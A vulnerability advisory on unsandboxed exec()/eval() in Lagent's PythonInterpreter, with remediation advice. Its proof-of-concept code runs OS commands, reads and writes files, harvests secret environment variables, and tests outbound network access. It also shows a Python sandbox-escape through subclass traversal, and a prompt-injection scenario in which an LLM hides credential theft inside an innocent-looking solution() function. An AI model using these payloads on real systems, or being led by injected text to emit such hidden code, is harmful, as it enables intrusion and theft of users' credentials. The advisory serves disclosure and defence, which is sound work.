Arbitrary Code Execution via Unsandboxed `exec()`/`eval()` in PythonInterpreter

## Summary

Lagent's `PythonInterpreter` action executes LLM-generated code via `exec()` and `eval()` with no sandboxing, allowing arbitrary code execution including OS command execution, arbitrary file read/write, and full system compromise.

## Details

### Vulnerable Code

GenericRuntime class — the execution engine with no restrictions:

```python
class GenericRuntime:
GLOBAL_DICT = {}
LOCAL_DICT = None
HEADERS = []

def __init__(self):
self._global_vars = copy.copy(self.GLOBAL_DICT) # empty dict {}
self._local_vars = copy.copy(self.LOCAL_DICT) if self.LOCAL_DICT else None

for c in self.HEADERS:
self.exec_code(c)

def exec_code(self, code_piece: str) -> None:
exec(code_piece, self._global_vars) # ← SINK: arbitrary code execution

def eval_code(self, expr: str) -> Any:
return eval(expr, self._global_vars) # ← SINK: arbitrary expression evaluation
```

PythonInterpreter._call() — the entry point that feeds LLM output to `exec()`:

```python
def _call(self, command: str) -> ActionReturn:
tool_return = ActionReturn(type=self.name)
try:
# Extract code from markdown format
if '```python' in command:
command = command.split('```python')[1].split('```')[0]
elif '```' in command:
command = command.split('```')[1].split('```')[0]

command = command.split('\n')

if self.answer_from_stdout:
# ... redirect stdout, then:
self.runtime.exec_code('\n'.join(command)) # ← exec() called
elif self.answer_symbol:
self.runtime.exec_code('\n'.join(command)) # ← exec() called
elif self.answer_expr:
self.runtime.exec_code('\n'.join(command)) # ← exec() called
res = self.runtime.eval_code(self.answer_expr) # ← eval() called
else:
self.runtime.exec_code('\n'.join(command[:-1])) # ← exec() called
res = self.runtime.eval_code(command[-1]) # ← eval() called
```

### Data Flow

```
LLM Response (potentially influenced by prompt injection)
↓
PythonInterpreter.run(command: str) # Public API, decorated with @tool_api
↓
PythonInterpreter._call(command) # Extracts code from markdown ```python blocks
↓
GenericRuntime.exec_code(code_piece) # exec(code_piece, self._global_vars)
↓
Arbitrary Python code execution # Full __builtins__ access, import allowed
```

## Proof of Concept

### Environment Setup

```bash
pip install lagent # tested with v0.2.4
```

### PoC 1: OS Command Execution (RCE)

```python
from lagent.actions.python_interpreter import PythonInterpreter

interpreter = PythonInterpreter(answer_from_stdout=True)
result = interpreter.run('import os; print("RCE_PROOF:" + os.popen("whoami").read().strip())')
print(result.result)
# Output: [{'type': 'text', 'content': 'RCE_PROOF:username\n'}]
```

**Verified output**:
```
Result: [{'type': 'text', 'content': 'RCE_PROOF:Zhuohao Zhang\n'}]
```

### PoC 2: Arbitrary File Read

```python
from lagent.actions.python_interpreter import PythonInterpreter

interpreter = PythonInterpreter(answer_from_stdout=True)
result = interpreter.run('print("FILE_READ:" + open("config/config.properties").readline().strip())')
print(result.result)
# Output: [{'type': 'text', 'content': 'FILE_READ:withAllJdk = false\n'}]
```

### PoC 3: Direct GenericRuntime Exploitation

```python
from lagent.actions.python_interpreter import GenericRuntime

rt = GenericRuntime()
rt.exec_code('import os')
username = rt.eval_code('os.popen("whoami").read().strip()')
print(username) # Outputs current username
```

### PoC 4: Arbitrary Directory & File Creation (persistent write)

```python
from lagent.actions.python_interpreter import PythonInterpreter

interpreter = PythonInterpreter(answer_from_stdout=True)
result = interpreter.run('''
import os
os.makedirs("poc_proof_lagent", exist_ok=True)
with open("poc_proof_lagent/pwned.txt", "w") as f:
f.write("RCE proof - arbitrary file write via Lagent")
print("DIR_EXISTS:" + str(os.path.exists("poc_proof_lagent/pwned.txt")))
''')
print(result.result)
# Output: [{'type': 'text', 'content': 'DIR_EXISTS:True\n'}]
```

**Verified**: Directory `poc_proof_lagent/` created, file `pwned.txt` written to disk.

### PoC 5: Environment Variable Exfiltration (credential theft)

```python
from lagent.actions.python_interpreter import PythonInterpreter

interpreter = PythonInterpreter(answer_from_stdout=True)
result = interpreter.run('''
import os
secrets = {k: v for k, v in os.environ.items()
if any(x in k.lower() for x in ["key", "token", "secret", "pass", "api"])}
print("SECRETS:" + str(list(secrets.keys())))
''')
print(result.result)
# Output: [{'type': 'text', 'content': "SECRETS:['AWS_BEARER_TOKEN_BEDROCK']\n"}]
```

**Verified**: Extracted `AWS_BEARER_TOKEN_BEDROCK` from environment — real cloud credential exposed.

### PoC 6: Network Access & Outbound HTTP (data exfiltration / C2 callback)

```python
from lagent.actions.python_interpreter import PythonInterpreter

interpreter = PythonInterpreter(answer_from_stdout=True)

# Step 1: Prove network access — leak internal IP
result1 = interpreter.run('''
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
print("INTERNAL_IP:" + s.getsockname()[0])
s.close()
''')
print(result1.result)
# Output: [{'type': 'text', 'content': 'INTERNAL_IP:10.203.141.241\n'}]

# Step 2: Prove outbound HTTP — attacker could exfiltrate data to webhook
result2 = PythonInterpreter(answer_from_stdout=True).run('''
import urllib.request
resp = urllib.request.urlopen("https://httpbin.org/get")
print("HTTP_STATUS:" + str(resp.status))
''')
print(result2.result)
# Output: [{'type': 'text', 'content': 'HTTP_STATUS:200\n'}]
```

**Verified**: Internal IP `10.203.141.241` leaked; outbound HTTP requests succeed — attacker could `POST` stolen credentials to an external server.

### PoC 7: Realistic Attack — LLM Generates Malicious `solution()`

This is the most realistic scenario: the default `PythonInterpreter` expects LLM to output a `solution()` function. An attacker uses prompt injection to make the LLM embed malicious code inside the expected format.

```python
from lagent.actions.python_interpreter import PythonInterpreter

# Default config: answer_expr='solution()'
interpreter = PythonInterpreter()

# LLM sends markdown code block with solution() — exactly as designed
# But the code contains malicious side effects before returning
malicious_llm_output = """```python
import os
# Side-effect: exfiltrate env vars before returning "innocent" answer
secrets = str({k: v for k, v in os.environ.items() if "TOKEN" in k or "KEY" in k})
with open("/tmp/exfil.txt", "w") as f:
f.write(secrets)
def solution():
return "The answer is 42"
```"""

result = interpreter.run(malicious_llm_output)
print(result.result)
# Output: [{'type': 'text', 'content': 'The answer is 42'}]
# But /tmp/exfil.txt now contains stolen credentials
```

**Key insight**: The malicious code runs silently during `exec()` before `solution()` is called. The user sees a normal-looking answer while their credentials are stolen in the background.

## Root Cause Analysis

### Core Issue

The fundamental issue is using Python's `exec()` and `eval()` built-in functions to execute untrusted code without any form of sandboxing or restriction. The code passes an empty globals dict `{}` to these functions, which **does not restrict execution** — Python automatically injects `__builtins__` into any globals dict that doesn't explicitly contain it.

### Why Empty Globals Is Not a Defense

```python
# This is NOT sandboxed:
exec("__import__('os').system('id')", {}) # Works — __builtins__ auto-injected

# Even this is exploitable:
exec("__import__('os').system('id')", {"__builtins__": {}}) # Blocked, but...
# Attackers can recover builtins via:
exec("[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='Popen'][0](['id'])", {"__builtins__": {}})
```

## Remediation

### Recommended Fix: Subprocess Isolation

The most secure approach is executing code in an isolated subprocess with restricted permissions:

```python
import subprocess
import tempfile
import os

class SecureRuntime:
def __init__(self, timeout=20):
self.timeout = timeout

def exec_code(self, code_piece: str) -> str:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code_piece)
f.flush()
try:
result = subprocess.run(
['python', f.name],
capture_output=True,
text=True,
timeout=self.timeout,
# Restrict: no network, limited filesystem
env={
'PATH': '', # No system commands
'HOME': tempfile.gettempdir(),
}
)
return result.stdout
finally:
os.unlink(f.name)
```

### Alternative: RestrictedPython (Partial Mitigation)

```python
from RestrictedPython import compile_restricted, safe_globals

class RestrictedRuntime:
def exec_code(self, code_piece: str) -> None:
byte_code = compile_restricted(code_piece, '', 'exec')
exec(byte_code, safe_globals.copy())
```

**Note**: RestrictedPython itself has known bypasses (CVE-2023-37271, CVE-2023-41039), so subprocess isolation is preferred.

### Minimum Fix: Strip `__builtins__`

At minimum, prevent direct `__import__` access (though this is bypassable):

```diff
def exec_code(self, code_piece: str) -> None:
- exec(code_piece, self._global_vars)
+ restricted_globals = {**self._global_vars, '__builtins__': {
+ 'print': print, 'range': range, 'len': len, 'int': int,
+ 'float': float, 'str': str, 'list': list, 'dict': dict,
+ 'True': True, 'False': False, 'None': None,
+ }}
+ exec(code_piece, restricted_globals)
```

**Warning**: Builtins restriction alone is insufficient — subclass traversal attacks can recover full access.